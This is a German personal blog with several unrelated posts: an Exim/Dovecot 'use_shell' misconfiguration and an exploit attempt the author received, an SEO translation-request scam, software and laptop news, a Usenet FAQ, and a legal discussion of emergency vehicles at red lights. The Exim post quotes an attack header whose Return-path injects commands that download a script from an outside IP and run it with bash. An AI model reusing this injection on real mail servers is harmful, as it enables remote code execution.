Bald zwei Jahre sind seit der letzten Schnapszahl vergangen ... und heute bot sich erneut ein Schnapszahl-Schnappschuss an:
(Ja, ein Großputz wäre mittlerweile wohl zwingend geboten ...)
Am Freitag, dem dritten Mai, wurde ein Warnhinweis (Advisory) auf eine weit verbreitete Fehlkonfiguration in der Kombination von Exim mit Dovecot publiziert: ein offenbar seit 23.10.2009 im Dovecot-Wiki veröffentliches Konfigurationsbeispiel für Exim, mit dem eingehende E-Mails durch den zu Dovecot gehörenden LDA deliver ausgeliefert werden sollen, enthielt auch die Option “use_shell”, die dazu führt, dass der Aufruf insgesamt zur Ausführung an die Shell weitergegeben wird. Das is potentiell unsicher, wie auch die Exim-Dokumentation erläutert:
Not running the command under a shell (by default) lessens the security risks in cases when a command from a users filter file is built out of data that was taken from an incoming message. If a shell is required, it can of course be explicitly specified as the command to be run. However, there are circumstances where existing commands (for example, in .forward files) expect to be run under a shell and cannot easily be modified. To allow for these cases, there is an option called use_shell, which changes the way the pipe transport works. Instead of breaking up the command line as just described, it expands it as a single string and passes the result to /bin/sh. The restrict_to_path option and the $pipe_addresses facility cannot be used with use_shell, and the whole mechanism is inherently less secure.
Wenn es jemandem gelingt, ausführbaren Code in diesen Aufruf einzuschleusen, kann er fremden Code mit den Rechten von Exim ausführen, die im Moment der Auslieferung von Mail mit dem LDA deliver bestenfalls Zugriff auf alle Mailboxen ermöglichen und bei leichtsinniger Konfiguration - die im Dovecot-Wiki als eine Konfigurationsmöglichkeit ausdrücklich genannt wird! - schlimmstenfalls sogar root sind. Und dieses Einschleusen ist ausgesprochen einfach, enthält der Aufruf von deliver doch u.a. den Absender der E-Mail, den sog. Envelope-From (oder auch Return-Path), bspw. so:
command = /usr/local/libexec/dovecot/dovecot-lda -d $local_part@$domain -f $sender_address
$sender_address ist hier der problematische Parameter, denn diesen Parameter kann der Absender der E-Mail frei setzen. Durch die Option use_shell wird der obige Aufruf nach Ersatz der Variablen ohne jede Modifikation komplett an die Shell übergeben und ggf. entsprechender Code ausgeführt.
Am 02.05.2013 wurde das Beispiel im Wiki für Dovecot 1.x und auch in der Dokumentation für Dovecot 2.x berichtigt, am 03.05.2013 wurde das Advisoy veröffentlicht.
Und schon am Abend des Folgetages flog mir auf einem meiner Server folgende - ansonsten notwendige Header und vor allen auch einen Inhalt nicht enthaltende - E-Mail zu, die das Beispiel für einen Exploit aus dem Advisory abgewandelt übernommen hat:
Return-path: <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`team@example.com>
Envelope-to: postmaster@greenmeadow.szaf.org
Delivery-date: Sat, 04 May 2013 21:57:19 +0200
Received: from [178.218.211.118] (helo=abcde.com)
by greenmeadow.szaf.org with esmtp (Exim 4.72)
(envelope-from <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`team@example.com>)
id 1UYia4-000387-Es
for postmaster@greenmeadow.szaf.org; Sat, 04 May 2013 21:57:19 +0200
Subject: test
Die oben gezeigte problematische Konfiguration würde dann dazu führen, dass bei der Auslieferung der Mail die beiden folgenden Befehle mit den Rechten des Mailservers ausgeführt würden:
wget 178.218.211.118/b -O /tmp/a.pl
bash /tmp/a.pl
Es würde also die Datei b von der Maschine heruntergeladen und in der Datei a.pl im Verzeichnis /tmp gespeichert und dann ausgeführt.
Glücklicherweise verwende ich zwar sowohl Exim als auch Dovecot, aber in einer anderen Konfiguration, so dass dieser Versuch eines Exploits kein Problem darstellte, aber man merkt einmal wieder, wie schnell nahc der Veröffentlichung von Advisories man von solchen Versuchen, bestehende Programm- oder Konfigurationsfehler auszunutzen, betroffen wird.
(Als ich mich damit näher beschäftigt habe, war die o.g. Datei übrigens bereits nicht mehr aufrufbar.)
Bald zwei Jahre sind seit der letzten Schnapszahl vergangen ... und heute bot sich erneut ein Schnapszahl-Schnappschuss an:
(Ja, ein Großputz wäre mittlerweile wohl zwingend geboten ...)
Ende letzten Jahres bekam ich eine E-Mail von einem Albertio Ward, der meine Webseite schon seit 2000 kennt und gerne die Header-FAQ ins Bulgarische übersetzen würde. Er arbeitet für (s)ein Projekt namens “Bulgarian FCW Science”, ein freemium-model non-English language orientated startup (ich spare mir hier den Versuch einer Übersetzung), in dem wissenschaftliche Artikel, persönliche Notizen usw. in verschiedenen Sprachen seit 1999 (!) gesammelt werden. Über meine Erlaubnis zur Übersetzung würde er sich freuen und auch gerne meinen Namen als Autor nennen und die FAQ verlinken.
Als erstes wollte ich gerne hilfsbereit sein und habe mich natürlich auch gefreut, daß jemand an dem Text Interesse hat. Meiner angeborenen Neugier *ahem* folgend wollte ich aber zuerst mehr über das Projekt erfahren. Seltsamerweise förderte Google dazu nichts zutage; für ein seit 1999 existierendes, mehrsprachiges Projekt etwas ungewöhnlich. Daher (und aus Zeitgründen) hatte ich eine Antwort zunächst zurückgestellt. Auch eine spätere Recherche förderte jedoch nur ähnliche Anfragen wie die an mich gerichtete (wortgleich mit Austausch der personenbezogenen Teile) in verschiedenen Mailinglisten zutage. - Komisch.
Ein halbes Jahr später, im Juni 2012, wandte sich dann ein Mario Pozner an mich, der dieselbe Seite gerne in die ukrainische Sprache übersetzen wollte und für ein Projekt “SOFTcann” arbeitet, ein freemium-model non-English language orientated startup mit wissenschaftlichen Artikeln, persönlichen Notizen usw., daß er seit 2011 editiert. - Jetzt wurde ich aufmerksam, vor allem wegen des Ausdrucks “freemium-model non-English language orientated startup”. Wie wahrscheinlich ist es, binnen eines guten halben Jahres zwei eigenartige Anfragen zur Übersetzung einer Webseite in verschiedene wenig verbreitete Sprachen von verschiedenen Leuten zu erhalten, die für verschiedene Projekte tätig sind, aber ihre Anfragen in Teilen wortgleich formulieren?! Google förderte aber wieder nur ähnliche Anfragen zutage, mehr nicht; auch nichts zum Projekt “SOFTcann”. Daher habe ich eine Antwort wieder zurückgestellt, diesmal aber vor allem aus Mißtrauen.
Nun wandte sich vor wenigen Tagen wieder Mario Pozner an mich, der jetzt für ein Weblog “GM Archive” tätig ist. (Ein vielseitig interessierter Mann!) Einer seiner Leser hat ihm die Header-FAQ empfohlen, und er würde sie gerne in die ukrainische Sprache übersetzen; das tun sie dort beim “GM Archive” für diejenigen, die kein Englisch sprechen. - Heute wollte ich mir nun die Zeit nehmen, diese und die anderen E-Mails mal zu beantworten, um sie endlich aus meiner Inbox zu bekommen; vorher googelte ich (wieder vergeblich) nach dem “GM Archive” (man findet viel dazu aus dem automobilen Bereich ... vermutlich Absicht). Dabei googelte ich erneut auch nach den anderen Begriffen - und endlich ein Treffer!
Fraud 2.0: Albertio wants to stick his straw in NRKbetas Google Juice erklärt endlich, worum es geht: Nachdem die jeweilige Seite durch den Google-Translate-Wolf gedreht wurde, wird der Autor (der die Qualität der Übersetzung aufgrund der zumeist wenig verbreiteten Sprachen kaum kontrollieren kann) stolz auf das fertige Werk verwiesen, das dann auch einen Link auf seine ursprüngliche Seite enthält, wie versprochen. Und der Autor möge doch jetzt bitte auch einen Link auf die Übersetzung setzen, die soviel Mühe bereitet hat, pretty please ...
Genau da liegt dann auch der Hase im Pfeffer: die Header-FAQ hat (vermutlich wie die anderen angefragten Seiten) einen vergleichsweise hohen Page-Rank bei Google, und um genau den (nur und ausschließlich) geht es dabei offensichtlich den Herren Albertio Ward und Mario Pozner: SEO-Betrug at its best.
Keywords: fraud seo search engine optimization Bulgarian FCW Science SOFTcann GM Archive
Nach einem guten Jahr habe ich mal wieder Zeit zu einer kleinen Änderung in checkmail gefunden, die ich dann sogleich als Version 0.5 released habe.
checkmail überprüft die ihm übergebenen E-Mail-Adressen nun zunächst auf syntaktische Richtigkeit (wobei allerdings auf der Domain-Seite keine in eckigen Klammern stehenden IP-Adressen akzeptiert werden), bevor er weitere Tests damit durchführt.
Die Dokumentation wurde entsprechend aktualisiert.
Die aktuelle Version steht jeweils auf meiner Downloadseite zur Verfügung.
Es war mal wieder Zeit für eine Erneuerung im hiesigen Rechnerpark, und
so habe ich mir nach längerem Überlegen einen neuen Laptop gegönnt, der
den gut drei Jahre alten Vorgänger ablösen soll - und gestern wurde er
geliefert und ist mittlerweile schon fast vollständig eingerichtet. 
In gewisser Weise ist das ein Novum - ich glaube nämlich, es ist das erste Mal, daß ein Gerät drei Jahre gehalten hat, ohne in irgendeiner Weise auszufallen. Der Vorgänger des jetzt in den Ruhestand geschickten Rechners hat nach ziemlich genau drei Jahren (wohl aufgrund einer Beschädigung am Mainboard) begonnen, regelmäßig einzufrieren, der Vor-Vorgänger wurde nach nur einem Jahr Opfer meiner Ungeschicklichkeit und eines noch recht vollen Glases guten Weins, und dessen Vorgänger wiederum zeigte nach gut vier Jahren sehr intensiver Nutzung massive Abnutzungen an der Hardware (gebrochene Displayscharniere und andere unschöne Dinge), außerdem entsprach er natürlich nicht mehr dem aktuellen Stand der Technik.
Und das ist auch direkt das passende Stichwort: auch wenn der bisherige Laptop “noch gut war”, der neue ist viel besser. Eine flinkere CPU, mehr Speicher, ein aktuelles Betriebssystem, die eingebaute UMTS-Karte und sogar ein nicht nur großer - im Sinne von “breit” -, sondern auch ausreichend hoher Bildschirm machen beim Arbeiten wieder mehr Freude.
Entschieden habe ich mich erneut für einen Thinkpad (ehemals IBM, jetzt seit Jahren schon von Lenovo) entschlossen, diesmal einen T520 mit einigen Extras, und zum ersten Mal mit Windows 7 in der 64bit-Variante als Betriebssystem. Die beiden Vorgänger waren zwar auch Thinkpads (T61 und R52), liefen aber noch unter Windows XP. In der Namensgebung habe ich mich am bisherigen Schema orientiert, nachdem meine privaten Rechner in der Regel Namen aus Tolkiens Werk, ersatzweise generische Bezeichnungen, erhalten (tragbare Rechner: Vögel oder Insekten, Desktops: Drachen).
Auf meiner Homepage findet sich eine Übersicht der derzeit in Betrieb befindlichen Rechner (und deren Vorgänger) mit den technischen Daten.
Vor ungefähr einem Jahr hatte ich die Gelegenheit wahrgenommen, im richtigen Moment das Interieur meines treuen vierrädrigen Gefährten abzulichten.
Heute ist es - an einem (voraussichtlich sehr langen ...) Schnapszahltag - wieder soweit (und diesmal hatte ich vorgeplant und daher eine geeignete Haltemöglichkeit zur Hand):
(Ja, okay, man könnte mal wieder putzen ...)
Vor einem guten Jahr, im Januar 2010, hatte ich zusammen mit Michael Ottenbruch die Pflege der in de.admin.infos veröffentlichten FAQ “Erlaeuterungen zur Einrichtung neuer Gruppen in de.*”, des sog. dana-Manuals, übernommen, das damals in der unveränderten Fassung aus dem April 2001 gepostet wurde; Anlaß war die Diskussion um Änderungen der Einrichtungsregeln für Newsgroups in de.*, in der sich Anlaß zur Ergänzung des Textes ergab. Dabei stellte sich heraus, daß der damalige Maintainer der FAQ bereits seit Jahren davon ausging, daß andere die weitere Pflege übernehmen wollten bzw. übernommen hätten - so fanden sich dann Michael und ich zusammen, um uns der Aufgabe zu stellen.
Im März 2010 waren wir dann so weit, eine erste Aktualisierung - im wesentlichen unter Weglassung überholter Teile und mit einigen wenigen Ergänzungen - veröffentlichen zu können. Darauf sollte dann die komplette Überarbeitung des Textes folgen, für die wir bereits damals Stichpunkte und eine Gliederung zusammengetragen hatten. So recht wollte die Umsetzung dann aber nicht in Schwung kommen; immer wieder kamen das tägliche Leben oder andere Projekte dazwischen, bis wir das Thema dann nach einem guten Jahr im März diesen Jahres wieder aufgenommen haben. (Hilfreich waren dabei auf meiner Seite sicherlich auch zwei mehrstündige Zugfahrten, in denen sich längere Abschnitte der Überarbeitung zusammenstellen ließen.) Nach mehreren Überarbeitungsgängen ist es jetzt soweit, daß die erste Version des komplett überarbeiteten Manuals veröffentlicht werden kann (im Web und wöchentlich auch in der Newsgroup de.admin.infos).
Weitere Änderungen und Ergänzungen nehmen wir natürlich jederzeit gerne entgegen.
Frohe Ostern!
Wie ich bereits berichtete, will T-Online den Newsserverbetrieb zum Monatsende einstellen. Entsprechende Informationen gingen jetzt zwar immer noch nicht an die Benutzer und Kunden, aber immerhin an die Peers (also die Betreiber der Newsserver, die Postings mit news.t-online.de austauschen):
To: [...]
Subject: peering termination newsfeedXX.sul.t-online.de
From: T-Online Newsmaster [...]
Date: Mon, 07 Mar 2011 10:00:09 +0100
User-Agent: Mutt/1.5.20 (2009-06-14)Hi,
German Telekom has decided to end its usenet service
news.t-online.de/news.t-online.com
Therefore all usenet peerings will be terminated end of March 2011.
We advise you to remove T-Online (newsfeedXX.sul.t-online.de) from your configuration by 31st of March.
Thank you for peering with us over the years.
Bye,
newsmaster[...]
Mit diesen dürren Worten endet also eine Ära ...
Für eine Einführung in das Thema insbesondere aus Sicht der nichtpolizeilichen Behörden und Organisation mit Sicherheitsaufgaben (BOS) darf ich auf meinen Beitrag “Sonderrechte und Wegerecht” verweisen.
Kurz gefaßt bezeichnet man mit “Sonderrechten” im Straßenverkehr die Befugnisse aus § 35 StVO, mit denen bestimmte Organisationen oder Fahrzeuge von den Bestimmungen der StVO - also den Verkehrsregeln - unter bestimmten Voraussetzungen teilweise oder zur Gänze befreit werden. Mit “Wegerecht” pflegt man im straßenverkehrsrechtlichen Kontext die in § 38 StVO geregelte Verpflichtung zu bezeichnen, Fahrzeugen mit eingeschalteten blauen Kennleuchten und (!) eingeschaltetem Einsatzhorn unverzüglich freie Bahn zu schaffen. Beides ist im Grundsatz voneinander unabhängig, wenn auch in der Regel nur die Fahrzeuge mit blauen Rundumkennleuchten und Einsatzhorn ausgerüstet sind, die auch Sonderrechte in Anspruch nehmen können.
In einer Diskussion im Usenet wurde nunmehr kürzlich die Frage aufgeworfen, ob Fahrzeuge mit (eingeschränkten) Sonderrechten, bspw. Straßenreinigungsfahrzeuge oder Schneepflüge, auch rote Ampeln ignorieren dürfen, und wie es insoweit mit Fahrzeugen aussieht, die zwar mit Blaulicht und Einsatzhorn ausgerüstet sind, aber nicht in § 35 StVO genannt werden, denen also keine Sonderrechte zukommen. Die Ergebnisse möchte ich hier kurz zusammenfassen.
Der Einsatz von Fahrzeugen der Straßenreinigung und von Schneepflügen ist in § 35 Abs. 6 StVO folgendermaßen geregelt:
Fahrzeuge, die dem Bau, der Unterhaltung oder Reinigung der Straßen und Anlagen im Straßenraum oder der Müllabfuhr dienen und durch weiß-rot-weiße Warneinrichtungen gekennzeichnet sind, dürfen auf allen Straßen und Straßenteilen und auf jeder Straßenseite in jeder Richtung zu allen Zeiten fahren und halten, soweit ihr Einsatz dies erfordert [...]
Nach Auffassung des Thüringer Oberlandesgerichts umfasst diese Befugnis “zu allen Zeiten [zu] fahren” nicht nur eine Befreiung von tageszeitabhängigen Fahrverboten, sondern auch das Recht, zu fahren, obwohl eine rotes Licht zeigende Lichtzeichenanlage dem entgegensteht. Voraussetzung ist allerdings, daß der Einsatz des Straßenreinigungs- oder Schneeräumfahrzeugs das “erfordert”, was im Regelfall nicht gegeben sein wird.
Die wesentlichen Erwägungen der Entscheidung vom 10.08.1999 - 3 U 1357/97 -, die sich mit der Frage eines Zusammenstoßes zwischen Straßenbahn und Kehrmaschine auf einer ampelgeregelten Kreuzung befasste, bei der die Kehrmaschine bei Grün eingefahren war und bei Rot weiterkehrte, waren folgende:
Bei der Abwägung fiel zunächst maßgeblich ins Gewicht, dass der Kehrmaschine als Sonderrechtsfahrzeug i.S.v. § 35 Abs. 6 StVO ungeachtet der abweichenden Lichtzeichenregelung zum Zeitpunkt der Kollision und entgegen der - nicht näher begründeten - Auffassung der Beklagten im Kreuzungsbereich der Vorrang zukam, so dass der Fahrer der Kehrmaschine im Grundsatz davon ausgehen durfte, dass ihm die anderen Verkehrsteilnehmer einschließlich der Straßenbahnführer den Vorrang einräumen würden.
[...]
Allerdings handelte es sich bei dem Fahrzeug der Klägerin um ein Sonderrechtsfahrzeug gem. § 35 Abs. 6 StVO, welches zum Unfallzeitpunkt im Einsatz war und dementsprechend auch das ihm eingeräumte Sonderrecht in Anspruch nehmen durfte. Nach § 35 Abs. 6 StVO dürfen u.a. Fahrzeuge, die der Reinigung der Straßen und Anlagen im Straßenraum dienen und durch weiß-rot-weiße Warneinrichtungen gekennzeichnet sind, auf allen Straßen und Straßenteilen und auf jeder Straßenseite in jeder Richtung zu allen Zeiten fahren und halten, soweit ihr Einsatz dies erfordert. Dass die Voraussetzungen dieser Vorschrift erfüllt waren (Straßenwartungsfahrzeug im Einsatz) hat die Beweisaufnahme erster Instanz zweifelsfrei ergeben. [...]
§ 35 Abs. 6 StVO gewährt den Straßenwartungsfahrzeugen nun allerdings keine allgemeine Befreiung von den Verkehrsvorschriften [...], sondern nur in dem durch ihren Einsatz erforderlichen Umfang. So kann man Straßendienstfahrzeuge nicht grundsätzlich von der Wartepflicht nach § 8 StVO oder bei Rotlicht ausnehmen, da ihr Einsatz ein Abweichen von der Wartepflicht nicht zwingend erfordert [...]. Ein bei Grünlicht begonnener Kehrvorgang im Kreuzungsbereich soll durch den Fahrer des Sonderrechtsfahrzeuges aber auch dann beendet werden können, wenn die Lichtzeichenanlage inzwischen erneut umgeschaltet hat und nunmehr dem Querverkehr freie Fahrt gewährt [...]. Dem schließt sich der Senat mit Blick auf die Zweckbestimmung einer Kehrmaschine an, zumal anderenfalls ein mehrfaches Einfahren in den Kreuzungsbereich erforderlich wäre, man von dem Fahrer der Kehrmaschine also hätte verlangen müssen, zunächst nur eine Hälfte der Kreuzung zu reinigen, den Kreuzungsbereich sodann zu verlassen und den Wendevorgang erst in der gegenüberliegenden Straße zu vollziehen, um anschließend bei Grünlicht erneut in den Kreuzungsbereich einzufahren. Dass ein solches Verhalten zweckmäßiger bzw. weniger gefahrenträchtig wäre, vermag der Senat nicht festzustellen. Ein Wendevorgang auf der angrenzenden Straße wäre mit ähnlichen Gefahren verbunden wie ein einheitlicher Kehrvorgang im Kreuzungsbereich. Im Übrigen würde man die Sonderrechte des § 35 Abs. 6 StVO bei einer solchen Betrachtungsweise zu stark einschränken.
Welche Fahrzeuge mit blauen Rundumkennleuchten und Einsatzhorn ausgerüstet werden dürfen, ist in § 52 StVZO geregelt. Nicht alle dort genannten Kraftfahrzeuge sind auch solche, denen Sonderrechte nach § 35 StVO zukommen; das gilt bspw. für die in § 52 Abs. 3 Nr. 3 StVZO genannten "Kraftfahrzeuge, die nach dem Fahrzeugschein als Unfallhilfswagen öffentlicher Verkehrsbetriebe mit spurgeführten Fahrzeugen, einschließlich Oberleitungsomnibussen, anerkannt sind". Daneben gibt es noch den gar nicht seltenen Fall, dass Fahrzeuge aufgrund einer Ausnahmegenehmigung nach § 70 Abs. 1 Nr. 1 StVZO mit entsprechenden Einrichtungen versehen sind (Fahrzeuge der Straßenmeistereien auf Bundesautobahnen und Fahrzeuge der Energie- und Gasversorgungsunternehmen haben bspw. nicht selten - auch zusätzlichen zu gelben Rundumkennleuchten - blaue Kennleuchten und ein Einsatzhorn verbaut).
Wenn diese Fahrzeuge ihre Warneinrichtungen - berechtigt - in Betrieb nehmen, ist ihnen unverzüglich freie Bahn zu schaffen; sie haben also Vorrang unter Außerkraftsetzung der üblichen Vorfahrtsregeln. Berechtigt sie das aber auch, rote Ampeln zu ignorieren, oder müssen sie mit Blaulicht und Tatü-tata auf Grün warten? Der Bundesgerichtshof hat sich bereits in den 70er Jahren (Urteil vom 17.12.1974 - VI ZR 207/73 -) bezüglich eines Krankenwagens - Sonderrechte für Fahrzeuge des Rettungsdienstes gab es damals noch nicht - für ersteres entschieden:
b) War der Fahrer des Klägers jedoch, wie zugunsten der Revision angenommen werden soll, nicht allgemein gemäß § 35 StVO in dieser Weise von den Vorschriften der Straßenverkehrsordnung befreit, sondern führte er nur ein “Wegerechtsfahrzeug”, das lediglich das Wegevorrecht des § 38 StVO (früher: § 48 Abs 3 StVO) genoß, weil es mit blauem Blinklicht und Einsatzhorn ausgerüstet sein durfte (§§ 52 Abs 3 Nr 4, 55 Abs 3 StVZO), ohne zu den in § 35 StVO erwähnten Fahrzeugen von Trägern hoheitlicher Aufgaben zu gehören, so standen ihm jedenfalls beim Überfahren der Kreuzung dieselben Rechte zu wie einem Sonderrechtsfahrzeug.
Gemäß § 38 Abs 1 Satz 2 StVO hatten ihm alle übrigen Fahrzeuge sofort “freie Bahn zu schaffen”, da er Schwerverletzte transportierte und deshalb Blaulicht und Einsatzhorn verwenden durfte und eingeschaltet hatte. Es ist nichts dafür ersichtlich, daß sich dieses Gebot etwa nur an die nicht bevorrechtigten Verkehrsteilnehmer wendet, wie die Revision unter Bezugnahme auf die im Berufungsurteil angeführten Rechtsprechungsnachweise (vor allem wohl KG VRS 24, 70, 71) zu meinen scheint (vgl Schmitt DAR 1973, 57, 58). Normadressat sind vielmehr nach dem (gegenüber § 48 Abs 3 StVO aF klareren) Wortlaut des § 38 Abs 1 Satz 2 StVO nF alle übrigen Verkehrsteilnehmer. Die sogenannten Wegerechtsfahrzeuge werden dadurch zwar nicht von der Beachtung aller Verkehrsvorschriften befreit. Sie dürfen deshalb grundsätzlich zB nicht gegen eine Einbahnstraße fahren, keine Straßenbahn links überholen und nicht auf der Autobahn wenden, soweit dies nicht, was allerdings oft der Fall sein kann, durch einen übergesetzlichen Notstand (vgl § 12 OWiG) geboten ist (vgl OLG Frankfurt Verk Mitt 1959, 66; Krumme/Sanders/Mayr, Straßenverkehrsrecht § 38 StVO (neu) Anm 2). Die Vorschrift des § 38 Abs 1 Satz 2 StVO führt auch nicht zur Umkehrung des Vorfahrtsrechtes (so OLG Braunschweig VRS 29, 230; OLG Hamm VRS 6, 62; anscheinend auch Müller, Straßenverkehrsrecht, 22. Aufl, Bd III § 38 StVO Rdn 5 und Möhl/Rüth, StVO u StGB, § 38 StVO Rdn 5; vgl auch Schmitt aaO, der nur den Vertrauensgrundsatz einschränken will, welcher sonst dem Vorfahrtberechtigten zusteht). Sie läßt vielmehr die Regelung der Vorfahrt an Kreuzungen unberührt, gestattet also auch nicht ohne weiteres, bei rotem Ampellicht weiterzufahren (vgl auch Staatssekretär Wittrock in der Fragestunde des Deutschen Bundestages vom 28. April 1967, Verhandlungen des Deutschen Bundestages, 5. Wahlperiode, Stenographische Berichte Bd 64, S 5015).
Jedoch werden, wie der III. Zivilsenat in BGHZ 20, 290 bereits zu § 48 Abs 3 StVO aF ausgeführt hat, die allgemeinen Maßstäbe dahingehend abgewandelt, daß die anderen Verkehrsteilnehmer auf ihr Vorfahrtsrecht vorübergehend verzichten müssen, wenn sie die besonderen Zeichen bemerkt haben (vgl auch BGHZ 37, 336, 338). Das nach § 38 StVO bevorrechtigte Fahrzeug darf, falls die übrigen Verkehrsteilnehmer freie Bahn geschaffen haben, diese dann aber auch in Anspruch nehmen, wenn sich sein Fahrer davon überzeugt hat, daß alle anderen Verkehrsteilnehmer ihn wahrgenommen und sich auf seine Absicht, die Kreuzung vor ihnen zu überqueren, eingestellt haben. Der Fahrer eines Wegerechtsfahrzeugs darf, wenn diese Voraussetzungen erfüllt sind, darauf vertrauen, daß ihm nunmehr freie Fahrt gewährt wird (vgl BGH Urteil vom 11. Januar 1971 - III ZR 191/67 = LM StVO § 48 Nr 6 = NJW 1971, 516). Damit wirkt sich diese Regelung im Ergebnis als Vorfahrt aus (vgl Krumme, KVR von A-Z, “Vorfahrt; bevorrechtigte Fahrzeuge” Erläuterung 1 Bl 8 R).
Das Berufungsgericht geht deshalb zutreffend davon aus, daß der Pflicht der Verkehrsteilnehmer, den Wegerechtsfahrzeugen freie Bahn zu schaffen, das Recht des Fahrers eines solchen Fahrzeuges entspricht, die ihm tatsächlich gewährte (wenn auch nicht rechtlich zustehende) Vorfahrt in Anspruch zu nehmen. Dies muß, wie das Berufungsgericht richtig erkennt, auch gelten, wenn die Vorfahrtregelung an einer Kreuzung durch Lichtzeichenanlagen getroffen wird (anders Müller, StVO, 4. Aufl § 38 Anm 2a). Es erschiene in der Tat widersinnig, wenn die an sich Vorfahrtberechtigten den Wegerechtsfahrzeugen freie Bahn schaffen müßten, das Wegerechtsfahrzeug aber die freie Bahn wegen seiner Bindung an die Straßenverkehrsordnung auf keinen Fall ausnützen dürfte, sondern seinerseits vor der Rotampel warten müßte (vgl dazu OLG Celle VersR 1964, 1151, 1152; Schmitt aaO S 59). Nur solche Auslegung entspricht dem Sinn des § 38 StVO. Er gestattet in seinem Absatz 1 Satz 1 die Verwendung des blauen Blinklichts zusammen mit dem Einsatzhorn nur, wenn höchste Eile geboten ist, um zB Menschenleben zu retten. Mit dem an die Abgabe dieses Warnsignals geknüpften Gebot des § 38 Abs 1 Satz 2 StVO an alle übrigen Verkehrsteilnehmer, “sofort freie Bahn zu schaffen”, will der Gesetzgeber vermeiden, daß die höchsteilige Fahrt eines Wegerechtsfahrzeugs aufgehalten oder verzögert wird. Dann darf es aber für ein solches Fahrzeug auch vor einer Rotampel keinen Aufenthalt geben - vorausgesetzt allerdings, daß die anderen Verkehrsteilnehmer die Kreuzung freihalten (vgl auch Schmitt aaO S 59). Obwohl Wegerechtsfahrzeuge von den Bestimmungen der Straßenverkehrsordnung nicht grundsätzlich befreit sind, dürfen sie doch, soweit sie darauf vertrauen können, daß der (an sich bevorrechtigte) Verkehr seiner Pflicht aus § 38 Abs 1 Satz 2 StVO nachkommt, ihre Fahrt ohne Rücksicht darauf fortsetzen, daß ihnen eigentlich geboten wäre, anzuhalten, und zwar gleichgültig, ob dieses Gebot durch die allgemeine Regelung in § 8 StVO, durch Vorschriftzeichen (zB Zeichen 205, 206, 208 der StVO nF) oder durch Lichtzeichen ausgesprochen wird (vgl auch OLG Karlsruhe VersR 1974, 39; KG VRS 32, 291; Jagusch, Straßenverkehrsrecht, 21. Aufl, § 38 StVO Rdn 10).
Einsatzfahrzeuge mit blauem Blinklicht und Einsatzhorn dürfen daher - auch ohne daß ihnen Sonderrechte zukommen - rote Ampeln überfahren.
Sie dürfen jedoch nicht die zulässige Höchstgeschwindigkeit übertreten, Einbahnstraßen entgegen der Fahrtrichtung befahren, entgegen der örtlichen Regelung abbiegen oder auch nur am Einsatzort unter Mißachtung der Verkehrsregeln halten und parken (!), es sei denn, sie verfügen zugleich über eine umfassende Ausnahmegenehmigung auch nach § 46 Abs. 2 StVO oder es liegen die Voraussetzungen des § 16 OWiG vor.
(Danke an Henning Koch und Udo Burkhard für ihre Beiträge in de.soc.recht.strassenverkehr)